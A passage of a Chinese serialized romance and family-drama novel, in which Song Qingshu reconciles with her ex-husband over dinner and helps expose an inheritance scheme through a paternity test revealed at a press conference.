“那就制定个运动计划,珍珠这点随我,运动细胞不发达,也不喜欢动。”
盛熙川说:“也不必非要多专业的运动,哪怕多在户外晒晒太阳,多去几趟游乐场,也算运动了。”
宋清殊:“那你可犯她忌讳了,珍珠小朋友最讨厌游乐场了!”
盛熙川看珍珠:“哦,是吗?”
难怪获得“探视权”之前,珍珠还跟他去了几次游乐场。获得“探视权”之后,每当他提出要去游乐场,都被珍珠以各种理由拒绝。
她宁愿跟着他去应酬,在大人桌上喝酸奶,都不愿去游乐场了。
当年自己一时冲动为未来的孩子建游乐场时,还真没想到会开盲盒开到一个这样的孩子。
思及此,盛熙川倒是没有一腔热血被辜负的无奈,只觉得有趣。
他女儿怎样,他都觉得有趣。
“你猜他最不喜欢哪个项目?”宋清殊考他。
盛熙川想了想:“过山车,动物表演?”
宋清殊:“对,这两项她也不喜欢。但最不喜欢的是旋转木马,她说接受不了原地转圈却哪也去不了的感觉。”
盛熙川:“……我们两个彼此相认的那天,坐了好多圈旋转木马。”
他记得那天她很高兴,眼睛里有星星。
难道只因为同行的人是他吗?
他的女儿明明是那么理智的一个小孩,居然也会有这样贴心又细腻的一面。
“咳!”珍珠看两人对账,顿时紧张起来。
“妈妈,你怎么能这样拆穿我?挑拨我们父女感情。”她义正辞严,一脸认真。
宋清殊“噗”地笑出声来。
“好了,妈妈错了,妈妈自罚一杯。”她主动举杯。
这个酒的确不错,入口回甘,馥郁的香气在口腔爆开,让人上瘾。
不知怎么,三个人的情绪都很高。
盛熙川开心,是因为这世界上他最在乎的两个女人都在身边。
珍珠开心,是因为爸爸妈妈都爱她,他们三个能像寻常的一家三口那样吃饭聊天。
而宋清殊为什么开心,她自己也说不上来。
总觉得似乎很多天没这么放松过了。
或许氛围太好,或许酒精真的是让人快乐的东西。
最后那一整瓶红酒,除了最初分给盛熙川那一杯之外,都进了宋清殊腹内。
喝到后面,宋清殊脸上被火烧着了一般。
盛熙川用手背贴上她的额头。
“刚才是谁说酒量好的?”
宋清殊:“我酒量怎么不好?是你房间的空调不够凉,我才这么热。”
盛熙川的手换个方向,用手掌托住她的腮。
“自己酒量不好怪空调。你很会狡辩,小宝。"
他的手心滚烫,宋清殊脸颊本就发着烧,再被他的掌心一碰,感觉自己都快化了。
她想要打开他的手。
还没动作,只听“咔嚓”一声。
是珍珠小朋友不知拿起了两人谁的手机,对着他们拍了一张。
第295章 栀子花的花语
听到拍照声,宋清殊和盛熙川齐齐转头。
主位上的珍珠眼中难掩兴奋。
“你们继续,不要看我!”
她说,又连续抓拍了几张,才把手机扣回桌子,伸手捂住自己的小肉脸感慨:“好甜呀。”
宋清殊这才双手捉住盛熙川手腕,将他托着自己脸的那只手扯下来。
为了掩饰尴尬,调侃珍珠。
“珍珠,等你长大了,妈妈给你开个婚介所吧。”
就没有见过这么爱嗑CP的小孩。
盛熙川:“也可以爸爸先开一个,替你打理着,等你长大了交给你。”
珍珠圆圆的大眼睛迅速转了转,果断回击:“那要你们两个复婚,别人才信得过我。”
宋清殊:“谁会关心婚介所老板父母的婚姻状况?”
盛熙川:“没关系,爸爸加油,争取在你开婚介所之前追到妈妈。”
珍珠大惊失色:“爸爸,我距离成年至少还有14年,你要打这样的持久战?你就不能定个目标,争取今年圣诞节前就追到妈妈吗?”
盛熙川问:“为什么要圣诞节之前?”
宋清殊也好奇,用手托着腮看她。
“到时候,我们可以一起布置圣诞树,穿红配绿。”
宋清殊:“我们不复合也可以跟你一起过。”
珍珠:“意义不同嘛。”
盛熙川拿自己的水杯跟珍珠的牛奶盒干杯:“好,爸爸努力。”
珍珠吸了一口:“你们早晚要在一起,我能看到。”
盛熙川和宋清殊看了彼此一眼,这句话谁也没有表态。
不知道盛熙川怎么想,也许是因为今天他和珍珠一唱一和了太多次,怕把宋清殊逼紧了。
但宋清殊不说话,是因为她身为一个麻瓜,竟然也有了这方面的预感。
她想起珍珠那句话——
“排除一切不可能因素,剩下的就是真相。”
除非她这辈子再也不跟人恋爱结婚,如果还有这样的机会,好像除了盛熙川也没有别的选择。
酒精上头,她有点想笑。
她明明长得不错,性格也还行,到底是怎么把自己的情路堵死的?
看她笑,盛熙川和珍珠也笑。
这顿饭的氛围好到了极点。
珍珠开心吃的也有点多,宋清殊习惯性操心。
“宝宝不吃了,再吃怕是晚上要积食。”
盛熙川便把她从餐桌抱到了旁边的沙发上。
“那宝宝看会儿电视吧,可以吃一点草莓。”
珍珠乖巧地答应一声,便真的歪在沙发上看起了电视。
也许是吃的太饱,血液都去胃里辅助消化了。
不多时,她就歪在沙发上睡着。
盛熙川找了条毯子给她盖好,自觉降低了说话分贝。
宋清殊脸烧得更厉害,托着腮看他。
他可能不是一个好丈夫,却的确是个好父亲。
他明确知道该如何爱自己的女儿,给她最多最细节,也最拿得出手的爱。
“你是在知道自己有女儿后,去用心学了该如何做个好父亲吗?”宋清殊问。
盛熙川回到餐桌旁,这次直接坐到了宋清殊身边。
“也许是因为在你身上试错过了。”他说,“那时候得到了喜欢很多年的人,也想对你好,但是不得章法。”
这话说的够直接,宋清殊竟然无言以对。
她还没开口,盛熙川又说:“当时不会爱人,做了太多错事,现在想起来还觉得悔恨。那段时间你很痛苦吧?”
宋清殊赶忙摆手:“过去了,就是过去了,不要再揪着不放了。”
盛熙川眼底开始泛红,他喉间哽咽:“小宝,我人生最亏欠的就是你。”
这番突如其来的表白,让宋清殊有点慌乱。
“别这样,明明喝多酒的人是我。”她故作轻松笑道,又作势拿起手机,“你要是再这样,我可是要录下来,明天给珍珠看。”
盛熙川伸手夺她的手机,她后仰着举起手。
因为珍珠在沙发上睡着,两人都不敢闹出太大动静,只是静悄悄争夺。
宋清殊被盛熙川半抱在怀里,她挣扎,他反而加重了力气。
心里的防线一点点崩塌,在宋清殊溃不成军之际,她的手机响了。
两人迅速放开。
是芝姐打来电话,问宋清殊几点回去。
“平时这个时间,珍珠已经睡了。”她说。
宋清殊往沙发上看了一眼,压低声音:“马上就回。”
她这才发现,已经过了10点——
白天她还信誓旦旦,晚上9点前必须回家的。
“珍珠还是要回去睡,不然半夜醒了可能找我。”宋清殊说。
盛熙川点点头,走过去弯腰把珍珠抱起来。
“我送货上门。”
珍珠迷迷糊糊,把小脑袋往盛熙川怀里拱了拱。
“爸爸,我是货吗?”
盛熙川亲亲她额头。
“你是爸爸的心头肉。”
宋清殊每次看两人互动都要吃醋,她实在是忍不了父女俩的黏糊劲儿,索性先去开门。
盛熙川抱着珍珠,不好换鞋,宋清殊蹲下身直接从鞋柜里拿了一双非系带款皮鞋放在了他脚边。
她的动作自然又寻常,但惹得盛熙川心脏狂跳起来。
到楼下,盛熙川将珍珠递给等在门口的保姆。
保姆先抱着珍珠进去,留宋清殊和盛熙川道别。
“晚安,早点睡。”宋清殊说。
盛熙川抵住门,看她染着醉意的脸:“宋清殊,你知道栀子花的花语吗?”
第296章 “反转”
宋清殊被盛熙川问住了。
她买这盆栀子花给盛熙川,纯粹是因为卖花的老板娘说,栀子好养活又能净化空气,开花也漂亮。
关于栀子花的花语,她还真的没有查过。
但盛熙川这么问,她倒是也大概能猜到——
左不过是一些情呀爱呀肉麻的话。
“我买的时候没想那么多,就觉得等开花的时候会很漂亮。”
她搪塞,准备赶人,“你该回去睡觉了,晚安。”
说完,不等盛熙川反应,她伸手往外推了他一下,然后关上了入户门。
望着宋清殊瞬间的惊慌表情,和面前合上的门,盛熙川愣了一下。
他失笑。
今晚得到了太多,他不该贪心,再贪心,怕是又要把小白兔吓跑了。
宋清殊关上门去洗澡,温热的水流下来,她清醒了一点。
不知为什么,她反复回味刚才的那顿饭。
真的是又和谐又美好。
最重要的是,珍珠是真的亢奋。
宋清殊从不赞成做一个只为了孩子而活的母亲,她强调人要有自我意识,不能因为当了妈,就只强调母职。
可现在,她确确实实感觉到了自己的失职。
竟然让珍珠在父爱缺失的环境里生活了三年多。
这样寻常的一餐饭,都让她欣喜若狂,过分激动。
心口发酸,不如就圣诞节之前吧。
她心里的天平早已经倾斜,进度条不断前进。
排除一切不可能因素,剩下的便是真相。
真相就是,她还爱着他,也在努力让进度条向前。
洗完澡,宋清殊躺在床上,才发现保姆把珍珠放在了她的卧室。
看着熟睡的女儿,在梦里勾着嘴角,她的心软得一塌糊涂。
珍珠轻微地翻了个身,又翻回来。
嘴唇翕动,似乎叫了声“爸爸”。
也可能是“妈妈”,宋清殊没听清。
临睡前,她百度了一下栀子花的花语——
永恒的爱与约定,一生的守护和坚持。
不知为什么,她竟然觉得用在他们的关系上,非常合适。
再给彼此一个机会吧,从朋友做起,如果能走到一起,在圣诞节前定下来。
如果还是差一点缘分,就各自安好,感谢彼此陪伴过,而不是互生怨怼。
毕竟,盛熙川是很好的人。
他们那时只是不怎么会爱彼此而已。
宋清殊想着,在酒精的作用下,慢慢地进入了梦乡。
今晚的梦是甜的。
陆展的事,也在有条不紊的进行着。
宋清殊带珍珠去找盛熙川吃饭的当晚,陆二叔的老婆沈玉香接到一个陌生号打来的电话,约她在一个咖啡厅见面。
“我知道你丈夫在外面有私生子。”那人说。
沈玉香跟陆二叔早已经好多年就开始关系恶化,有名无实。
她一直知道陆二叔在外面有人,但不闹到家里来,影响她的地位,以及不搞出私生子,是她的底线。
那人言之凿凿,不仅如此,还发了几张陆二叔和陆枭在一起的照片给她。
沈玉香当时就头脑发昏,什么都顾不得了。
到了咖啡厅,那人把处理过的宋清殊和校长对话的录音给她听,沈玉香更是全身血液都涌上了头顶,整个人气炸了。
那人威胁她:“我就是这个学校的老师,当时他们调查这件事的时候,我也在现场。
陆展跟那个叫曹小康的孩子打架,就是因为那个孩子说他二叔在外面跟人乱搞。
你给我50万,我就保守这个秘密。不给的话,我就把这件事闹得上京人尽皆知。”
沈玉香心理素质并不强,人也不是很聪明,当时便被吓住了。
但不聪明的人都不觉得自己傻,她嘴上让那人宽限自己一周,说马上去筹钱,转头便去做了别的事。
而张春玲那边,也已经过了悲痛欲绝,什么话都听不进去的阶段。
宋清殊让警方和手语翻译跟她聊,自己写了封信带过去。
她开诚布公的讲了陆枭这个人和陆展的关系,以及陆展跟曹小康打架的原因。
“我也是一名母亲,理解您失去儿子的沉痛心情,也正是因为这样,我才愿意把‘家丑’拿出来给您看。
不管是我们,还是警方,分析的结果都差不多,您的儿子曹小康是被有心人利用,当成了刺向陆展的刀。
我相信,他一定不是一个能说出那番话的孩子。但他的确说了,只有一种可能,那就是:有人用您的生命安全来威胁他,让他不得不这么做。
我也不是替陆展开脱,毕竟他只有14岁,即便真的杀了人,也不需要负责任。更何况您儿子是自杀。
这么做,也是给他一个公道,不让他死的不明不白。”
宋清殊说话一向比较有说服力。
张春玲不怎么识字,这番话,由手语翻译传达,她也听进去了。
在后面的调查,配合度很高。
忙了两天,几条线同时进行着,做完这些后,宋清殊彻底松了口气。
她让宋夫人别急着澄清,等对方先沉不住气。
这一天来得很快,原本陆氏承诺的一周之内会给一个交代,没想到,第四天事情就又有了新“反转”。
有人在网上发文称,陆展打曹小康事出有因,是因为曹小康挑衅在先,诋毁陆展的父亲在外养小三和私生子。
这次配的视频,是连校方都没有资料,里面的声音很清楚。
【陆展,你天天装的跟个道德模范似的,谁不知道你爸活着的时候在外面养女人,三班的陆枭就是你爸的私生子!】
第297章 反击(一)
网民简直是全天下最好煽动的一群人。
有时候看见网上那些伪人言论,宋清殊甚至能怀疑平行时空真的存在。
要不然为什么生活中有很多讲道理的人,可到了互联网上,就是别人发什么信什么。
前阵子一窝蜂骂陆展的人,又开始一窝蜂骂曹小康。
【一个会拿自己压岁钱,资助别人上学的孩子能多坏呢?不能因为他更有钱,就觉得是他错了,这个孩子骂的太难听了。他爸出轨又不是他的错!】
【果然之前是我弱我有理,要是有人这么堵着骂我,我也打他】
【陆展真是好样的,换了别的孩子,早就沉不住气了,可他到现在都没出来说句话。】
【不过,陆枭是谁?陆长林真的有私生子吗?】
这次网上直接挂了【陆展曹小康】的大名,也不谈什么未成年人保护法了。
一众网民在热烈讨论大半天之后,不知是自发还是被煽动,终于把矛头又从陆展和曹小康,投向了已故的陆先生和他的私生子。
【大人的错,为什么要怪到孩子身上?包括那个‘私生子’都是无辜的】
【这意思,陆展和他爸的私生子在一个学校,还是一个年级是吧?】
众人都开始讨论陆先生活着的时候和陆夫人看上去感情那么好,两人琴瑟和鸣的,之前陆夫人一直无所出,哪怕抱养了宋清殊都没有离婚,没想到居然在背后包二奶,还有一个14岁的孩子。
果然豪门水深。
也有人猜测:“这个消息肯定是陆家放出来的,陆夫人这是弃卒保帅,陆长林已经死了,名声不打紧,陆展的未来才重要。估计早就知道,不想发,现在是被逼得没办法了。”
以至于楼珏都打电话过来问。
“你干妈怎么样?是不是已经精神崩溃了?”在楼珏看来,这一步走的实在不聪明。
一个私生子摆到了明面上,以后怎么安置就成了问题。
财产分不分他?让不让他回陆宅?
用长久的麻烦来解决一个眼前的麻烦,实在是不划算。
她以为陆夫人关心则乱,已经昏了头。
宋清殊笑:“消息不是干妈放出来的,但我们也早有准备。你放心好了。”
楼珏诧异:“你还笑得出来?”
又一愣,马上明白过来,“将计就计是吧?想好解决方案了吗?”
楼珏想不到这事能怎么解决,除了道德上谴责陆先生和陈南枝,似乎也没什么好办法。
但谴责归谴责,私生子一样有继承权,承认陆枭的存在,陆家的钱就要明确往外分出一部分。
楼珏怎么也理解不了这一步。
宋清殊还在笑:“陆枭不是我干爸的孩子,我说过,我们都相信我干爸的人品。”
楼珏尖叫:“所以,咱们猜的是真的,他真是陆二叔的!”
宋清殊先吓了一跳。
“姐,姐,你冷静,你肚子里有我干儿子或者干女儿,你别激动!”她先稳住楼珏,突然觉得这才是重中之重。
楼珏好容易稳下来。
“靠谱吗?”她问。
“靠谱,陆二婶已经拿着自己儿子的头发和陆枭做亲子鉴定去了,那份结果,我们也拿到了。陆枭跟陆羽的匹配度比跟展展高多了。”宋清殊淡定。
楼珏一听,开心得不行,跟着松了口气。
“你怎么想到的,真的太聪明了。”楼珏夸她。
宋清殊实话实说:“起初没想这么干,后来话赶话,说到这里,就想赌一把。赌赢了,也是运气好。”
楼珏:“是因为苍天有眼,和陆先生的在天之灵,不想蒙冤。”
陆二婶沈玉香自己都不知道,她成了宋清殊的有力武器。
网上舆论满天飞,曹小康的母亲张春玲也知道了。
她虽然听不见,认识的字也不多,却已经知道自己儿子在网上的口碑急转直下。
现在都在骂曹小康没有同理心,明明自己都是个单亲家庭出来的孩子,居然那样攻击别人。
而且,视频里,陆展的态度明显更客气些,反而是曹小康一直在挑衅。
张春玲又开始托警方带话,急着要见宋清殊。
宋清殊带了手语翻译一起过去,地点还约在张春玲的裁缝店,这次没有带盛熙川。
张春玲一见她就很不安,双手纠结地拧着衣角,嘴里发着“啊啊”的气声比比划划。
翻译说:“她说很抱歉,上次伤了您丈夫,她觉得很不好意思。”
宋清殊是个拎得清轻重缓急的人,没有跟她计较盛熙川是“丈夫”还是“前夫”。
“没关系,他能理解您的心情,没有往心里去。”她说。
话虽如此,可看得出来,张春玲是发自内心的不安,她低垂着头,又比划:
“没想到小康是那样的孩子,他之前从来不会这样。他很善良,虽然我们没有钱捐给贫困生,自己还在受资助,但我了解小康,他不是个坏孩子。”
如今身份对调,疯狂道歉的人变成了张春玲。
她两只手颤抖着打手语,悲伤,惶恐,无所适从的感觉笼罩着她。
宋清殊看不懂她说什么,只能从翻译的嘴里听说。
但她能共情张春玲的感受。
“不是小康的错。”宋清殊握住了她的手。
“您不用这么想,我们都知道,小康一定是受人威胁。”
宋清殊拉着她坐下。
在那间几平米的小裁缝店里,坐了整整一下午。
宋清殊跟张春玲说了自己的判断,并把一些查的证据给了她。
“按理说这些证据还没有放到网上,我不该直接这么给你看,但我也是个母亲,能理解你的心情。
你放心,小康不是那样的坏孩子,他只是被有心人利用。只要你愿意配合,我一定可以还他一个公道。”
张春玲几次站起身想给宋清殊跪下。
她的绝望和无助,宋清殊看在眼里。
一想到陆二叔和陈南枝为了自己的贪欲,牺牲了这样一对可怜的母子,她心里无比恻然。
这就是人性的恶,要不是她够较真,说不定她们就会得逞,不择手段拿到自己想要的一切。
宋清殊越发坚定了自己的信念,她绝不允许这样的情况发生!
不只是陆展,张春玲曹小康母子也需要她伸张正义。
人还没离开裁缝店,事情又有了新进展。
是陆夫人转发了最新的热搜,到三人的小群里。
第298章 反击(二)
宋清殊点开热搜,瞳孔骤然收缩——
很好,陆二叔和陈南枝已经坐不住了。
【陆枭生母】
【陆长林陈南枝】
两个话题正在以惊人的速度攀升,陆夫人发的时候,还是热搜第五第六,眼下已经直接到了前二。
是陈南枝接受了媒体采访。
视频里,陈南枝穿一身黑衣,素颜,双目通红,看上去很憔悴。
陈南枝说:“事情既然牵涉到了我儿子,我必须站出来说句话。枭儿的确是我和长林的孩子,他一直因为不能光明正大的和爸爸生活在一起,觉得很自卑。
没想到他的弱点竟然还会被曹同学利用,作为武器去攻击他的哥哥。不管陆家认不认我,认不认识枭儿,我们母子都支持他的哥哥陆展少爷,永远站在陆展少爷这边,毕竟,枭儿和陆展少爷流着一样的血……”
她看上去,言辞恳切,姿态又低,丝毫没有跟陆夫人叫嚣的意思,不像一个新社会的小三,倒像是旧社会的“姨太太”。
以至于不少人猜测,她是不是受了陆先生逼迫。
陈南枝的通篇发言,不为自己辩解,也不控诉陆夫人小气,不肯接受陆枭的存在。
而是在告诉众人,我对陆家是构不成威胁的,也从来没想过要名分。这次暴露在视线下,是被逼无奈,为了挺陆展不得已而为之。
陈南枝的“宽容懂事”,倒显得是陆夫人小家子气,不容人了。
她手段的实在高明,特别是最后又补充了一句:“枭儿这孩子老实,最大的遗憾就是没能替他父亲守灵。”
跟张春玲告别后,回到车里,宋清殊把陈南枝的采访看了很多遍。
底下的评论也没有错过。
有几个清醒的人——
【小三说的再怎么好听也是小三,这是改变不了的事实】
【低情商:我是小三进不了陆家门高情商:我儿子一直因为进不了陆家的门而自卑。呵呵呵,你儿子自卑还不是你造成的,早知道这样,为什么做小三啊】
也有一些和稀泥的——
【一到这种事儿都在骂女人,难道最该骂的不是男人吗?男人也不能美美隐身】
【孩子是无辜的,大人的错,不该让孩子来背负】
【看这个陈南枝挺老实的,说不定是被陆长林强迫的呢】
网上说什么的都有,但无一例外,都在说陆枭无辜。
所有人都默认了陆枭是陆先生私生子,这件事是既定事实。
陆二叔和陈南枝的目的达到了。
因为他们敢用这种方式曝光,就做好了在网上挨骂的准备。
比起陆枭能成为陆长林的儿子,未来能继承的巨额财产,这点骂名算什么呢?
与此同时,陆二婶沈玉香也看到了网上的言论,察觉了不对劲。
但她的脑子看不清整件事的前因后果,只看到了陆二叔的私生子居然变成了陆先生的。
她第一反应是,那是不是意味着她的警报解除了?
沈玉香亲子鉴定的结果都没取出来,第一时间先打电话,把那个找她要50万封口费的“知情者”先骂了一顿。
骂那人信口雌黄,破坏她家庭,早晚要负法律责任。
这些话当然无一例外传到了宋清殊耳朵里。
外界纷纷扰扰,网上闹成一锅粥,陆夫人和宋清殊却都该干什么干什么,恢复了以往的平静。
这件事又往后抻了两天。
记者们都堵在陆氏楼下,陆夫人“被逼无奈”,只好约了陈南枝喝咖啡。
陆夫人和宋清殊一起去的。
陈南枝见到她们,并没有“胜利者”的得意,依然做小伏低,看上去乖巧又温顺。
她叫陆夫人“姐姐”,嘴上说:“也不知道怎么枭儿的身世就泄露出去了,他现在也觉得很自卑,很难堪。”
宋清殊冷笑:“自卑难堪是拜他母亲所赐,倒是怨不着别人。”
陈南枝不吭声,垂下头去。
她在心里拿自己当个胜利者,不去跟失败者逞口舌之快。
还是那句话,如今,陆枭的“真实身份”已经公之于众,她们能分到的是实实在在的钱,被奚落两句不算什么。
但陆夫人用手肘撞了一下宋清殊,严肃道:“小宝!”
宋清殊闭嘴,恶狠狠瞪了陈南枝一眼。
陆夫人这才看向陈南枝,她叹了口气说:“没想到事情会发展成这样,但现在全网都知道了陆枭是陆家的孩子,现在我也没有别的办法了。
明天晚上我会办个记者招待会,正式承认陆枭的身份。
以后既然是陆家的人了,晚辈们该有的好处,少不了他一份。”
陆夫人做出一副强颜欢笑的模样,让陈南枝觉得她这个选择,是被逼到了死胡同,实属无奈之举。
听了这番话,陈南枝面上不动声色,但眼神已经是按捺不住的狂喜。
宋清殊在一旁冷眼看着她的反应,只想笑。
“多谢姐姐大度,容得下我们母子。”陈南枝习惯了做小伏低的窝囊坏,不敢表现得太得意,嘴上见好就收,赶忙说。
陆夫人点点头:“既然这样,那你回去准备一下吧,至于你和陆枭的安置问题,我会在记者招待会的时候说。”
陈南枝连连点头。
不管怎么“安置”,都不重要,只要全世界都知道陆枭是陆长林的儿子就行。
知道了,家产就能分一杯羹,她的任务也算完成了。
陈南枝看陆夫人不情不愿,又无可奈何的样子,不疑有他,欢欢喜喜地去了。
她一走,身后陆夫人和宋清殊对视一眼。
“她不是个聪明人,跟了老二小半辈子,依然被他当枪使。”陆夫人说。
宋清殊笑:“这还用说吗,干妈,哪个聪明人会去当第三者?”
母女两人感慨了几句。
第二天的记者招待会如期举行。
第299章 反击(三)
为了参加陆家的记者招待会,陈南枝做足了准备。
虽然这其中的细节并没有人跟她对接,但她觉得,一定会有自己上台讲话的环节。即便没有,她的儿子陆枭是整场发布会的主角,长枪短炮瞄向他的时候,也一定会扫到自己。
这两年,陆二叔财务状况每况愈下,跟着他的确没什么前途。
陆枭做了陆长林的儿子就不一样了,陆氏的钱都在陆夫人名下,怎么也会有他的一份。
好日子就在眼前了。
陈南枝觉得她不算丢脸。
哪怕在热搜上,也并不是全都在骂她,为她的说话的人也有不少。
人在得意的时候容易忘形,在某个瞬间,陈南枝甚至觉得自己是个为儿子奉献一切的好母亲,狠狠自我感动了一把。
她选了一套最体面的衣服出席,为了让陆枭看上去足够贵气,有大家公子风范,还斥巨资为他定做了一套小西装。
“今天你就要认祖归宗了,在媒体面前嘴甜一点,可以管陆夫人叫大妈,或者阿姨,都行。"陈南枝嘱咐。
陆枭却并不跟陈南枝完全一条心。
他觉得屈辱,这种屈辱,在陆先生葬礼那天就已经开始了。
他恨自己的母亲是个破坏别人家庭的第三者,也恨陆先生,敢做不敢当,不像个真男人。
他对这个世界充满了仇恨。
他也知道陆展和曹小康的事,一定跟自己母亲脱不了关系。
可他无能为力。
母亲说了,她做这一切,都是为他好。
是为了他的前途,为了他今后的发展,她满腹心酸和委屈。
总不能连他这个唯一的亲人都不跟他统一战线。
因此,虽然陆枭不情不愿,可他一直在配合自己的母亲做这一切。
发布会现场,人满为患,陆家并没有谢绝参观。
除了上百家媒体,还来了很多上京的群众。
无数的相机对准了陆家人。
陆夫人被记者们围在正中间,她穿一身西装,看上去干练又肃静,神色坦然,落落大方,非常有大家风范。
“今天请大家过来,也是给最近发生的事做个交代。”陆夫人缓缓开口,偌大的宴会厅安静下来。
明明现场站了四五百人,一时间,却针落可闻。
“首先就是大家最近最关注的,我儿子陆展和同学起了冲突,导致同学跳楼自杀的问题。
那位同学的一些言论这两天也在网上疯传,想必大家也看到了。但有时候,互联网也好,现实中也好,我们得到的很多消息都是被筛选过的,是有心人想让我们知道的。
陆展是我的儿子,我了解。他没有一开始外面传说的那样糟糕,却也没有后来大家所说的那样好。他也是个普通孩子,也会鲁莽冲动,做事之前不考虑后果。他打曹小康同学的确是事出有因,但不代表这么做就是对的。
而曹小康同学,我们也都详细了解调查过了,也并不像网上解读的那样恶劣,他是个好孩子。”
陆夫人说话的时候,声音不高,语速也不快。
她一字一句,侃侃而谈,很容易让人听得进去。
这一点上,宋清殊也像她。
她们都是说话比较容易让人听得进去的人,相比之下,宋清殊的亲妈宋夫人,反而经常说话说不到点子上,不知所云。
宋清殊坐在舞台下方,看着被记者围在中央的陆夫人,又想到“亲妈”,有片刻失神。
这几天,她的全部精力都在陆展身上,一直都没顾上查宋家。
等这件事告一段落,也到了她查清楚的时候。
正思索间,又听陆夫人说:
“展展和曹同学这件事,警方还在调查。各位放心,如果最后的结果确定是展展逼死了曹同学,我们陆家也绝不姑息。但如果不是,那些煽动言论者,有一个算一个,我们陆家一定会追究法律责任。但今天,想必大家也都知道了,我们陆家的发布会,主要是为了另一件事。”
随着陆夫人的话锋一转,全场的目光都集中到了坐在第一排的陈南枝和陆枭母子身上。
来了!
陈南枝的心脏狂跳起来,她下意识转头,想去看人群里的陆二叔,但陆二叔避嫌,别过脸去。
陈南枝攥住了陆枭的手。
她半年多的谋划有了结果,激动的心脏都要跳出嗓子眼。
陆枭被他母亲攥得骨节生疼,也不由绷直了背。
在母亲多日来的洗脑下,陆枭本以为对这些东西丝毫不感兴趣,如今竟然也生出了一点对豪门生活的憧憬来。
特别是这一刻,他是全场的焦点,所有的眼睛和镜头对准了他。
陆夫人特地停顿了好一会儿,直到所有的人把陈南枝陆枭母子看得有点不自在,才对陆枭招了招手。
“孩子,过来,到大伯母这里来。”
好奇怪的自称,这时候已经有人感觉到了不对,但多数人没有多想。
毕竟陆夫人不是陆枭亲妈,总不能自称妈,大伯母,或许是商量好的称呼呢?
陈南枝和陆枭也隐约觉得不对,除了这个称呼,却又说不上来具体是哪里不对。
见陆枭不动,陆夫人又招手:“来呀孩子,来伯母这里,别怕。”
陈南枝又下意识去看陆二叔,这次,不知是太慌张还是陆二叔又往人群里混了混,她竟然没有找到。
陆夫人索性也不再催促。
笑眯眯地看着陆枭,余光又看了看陈南枝。
她坦然从容,看上去丝毫没有被人按头勉强接受的感觉。
那么多双眼睛看着,陈南枝不得不推了陆枭一把。
“快去!”
陆枭只好起身,一步步走到台上去。
媒体替他让出一条通道。
不知怎么,越往前走,陆枭的心跳越快。
他觉得不对。陆夫人爽快得让他害怕。
在几百双眼睛的注视下,陆枭走到台上,陆夫人拉了他的手,站在了无数台摄像机前。
面前很多设备都是现场直播。
“这件事情也怪我自私,南枝早在年前就找过我。但我一直为了陆家的脸面,瞒着这件事,不肯让公众知道,没有考虑到枭儿的感受。”
陆夫人缓缓说,“既然,现在已经闹到了这个地步,不妨就告诉大家,枭儿的确是我们陆家的孩子。”
第300章 反击(四)
“枭儿是二弟长鸣的孩子,都怪我,南枝最早找我的时候,我只考虑到了陆家的脸面,没有考虑枭儿这么小的一个孩子,如何自处。都怪我的失职和自私。”
一石激起千层浪。
陆夫人此言一出,下面一片哗然。
“什么?这个陆枭是陆长鸣的孩子?不是陆长林的私生子?难怪陆夫人自称大伯母。”
“不是吧?这么狗血?那个陈南枝接受采访,好像不是这么说的。”
“豪门的水这么深吗?”
底下的人议论纷纷。
此时,陈南枝先坐不住了。
她脸色瞬间惨白,猛地站起来,声音尖锐:“你说什么?!”
陆夫人看向陈南枝,依旧温和:“难道不是吗?我以为你一直闹着让陆枭进陆家的门是这个意思。”
“你胡说八道!枭儿是已故陆先生陆长林的孩子!你昨天晚上还说,可以接受他,拿他当陆家的一份子!”
陈南枝厉声道,一边说,一边失控地冲上台,“你胡说,你就是不想让枭儿进家门,才胡说八道。你这个心胸狭窄的女人!”
好几个保安冲上前,把陈南枝和陆夫人隔出距离。
陆夫人不慌不忙:“我丈夫陆长林是什么样的人,我难道还不清楚?他一生正直,当年我们婚后一直没有孩子,他都没有做出过对不起我的事。
你口口声声让陆枭叫展展哥哥,说明他比展展小,你是说,在有了展展后,长林又跟你搞在一起吗?”
陈南枝愣了一下,又下意识往台下找陆二叔的身影,找不到才把目光收回。
“……是又怎么样!虽然这件事长林强迫我……当然,我知道,我也有责任。但孩子是无辜的,非婚生子女也有继承权!”
很多人的真话都是从不经意间说出来的。
陈南枝此言一出,底下马上有人笑道:“你闹这出不就是为了继承权吗?”
“就是,前两天接受采访说的好听,不知道的还以为是什么纯爱战士!”
“真心疼孩子就别当小三!”
底下这些人,不知是纯热心还是收了陆夫人的钱,居然都把矛头指向了陈南枝。
陈南枝的脸红一阵白一阵,难看极了。
她到底没有经历过这样的场面,肉眼可见的慌乱。
她的眼睛不由自主的往台下看,以至于多数人都发现了她的心虚。
“是又怎么样?想让自己的孩子过得好,有错吗?”
陈南枝脸涨得通红,再无平日里的温柔典雅做派。
突然,她急中生“智”,想起陆二叔说过的话来。
“枭儿就是长林的孩子,你凭什么不承认?我要求枭儿和陆展做亲子鉴定!”
哪怕是堂兄弟,亲子鉴定的结果也比别人更近。
下面那些支持陆夫人的人又都安静了下来。
谁都没想到,这个私生子虽然连亲子鉴定都没做过,就已经出现在了众人视线里。
这也太急了。
豪门私生子,不都要至少做三轮亲子鉴定吗?
不少人都开始替陆夫人捏把汗。
“巧了,你要的这些我们都做过了。”陆夫人说。
她笑着拍了拍手,马上有人拿了两份文件过来。
“这里面一份是陆枭和二弟的孩子陆羽的亲子鉴定,一份是陆枭跟我和长林的孩子展展的亲自鉴定。”
陆夫人一边说,一边直接让人将结果投屏在了大屏幕上。
显然,陆枭和陆羽的基因相似度更高。
一时间众人沸腾了起来。
陈南枝的第一反应更是说明了一切。
如果心里没鬼,她一定会先是不敢置信,接着怀疑这份结果被人做了手脚。
可她的第一反应是面露惊慌之色。
随即才反应过来,叫嚷道:“这一定是假的,一定是你们做了手脚,掉包了结果。”
这时,一直在台下没有作声的宋清殊站起身来:“结果不会有错,陆羽的这份是二婶亲自送检的。而且就算有错也没关系,现在现场有这么多人做见证者,我们可以再做一次。这次干脆不用陆羽,直接用二叔的DNA的就好了。”
接着,她又高声对人群中道:“你说是吧,二叔?”
陆二叔见事情败露,已经跑到了门口方向,他被几个冲上来的保镖控制住,动弹不得。
此时,更精彩的来了。
陆二婶沈玉香不知从哪里冲了出来。
“我打死你个破坏家庭的贱人!”
沈玉香披头散发,冲上台对着陈南枝拳打脚踢,薅着她的头发猛甩了她好几个耳光。
陈南枝没想到事情会发展成这个样子。
不劳而获的梦就此破碎,她成了过街老鼠,当着媒体和无数看热闹人的面被打。
她反抗了几次,却根本不是人高马大的沈玉香的对手,只能捂住了头,蹲下身去。
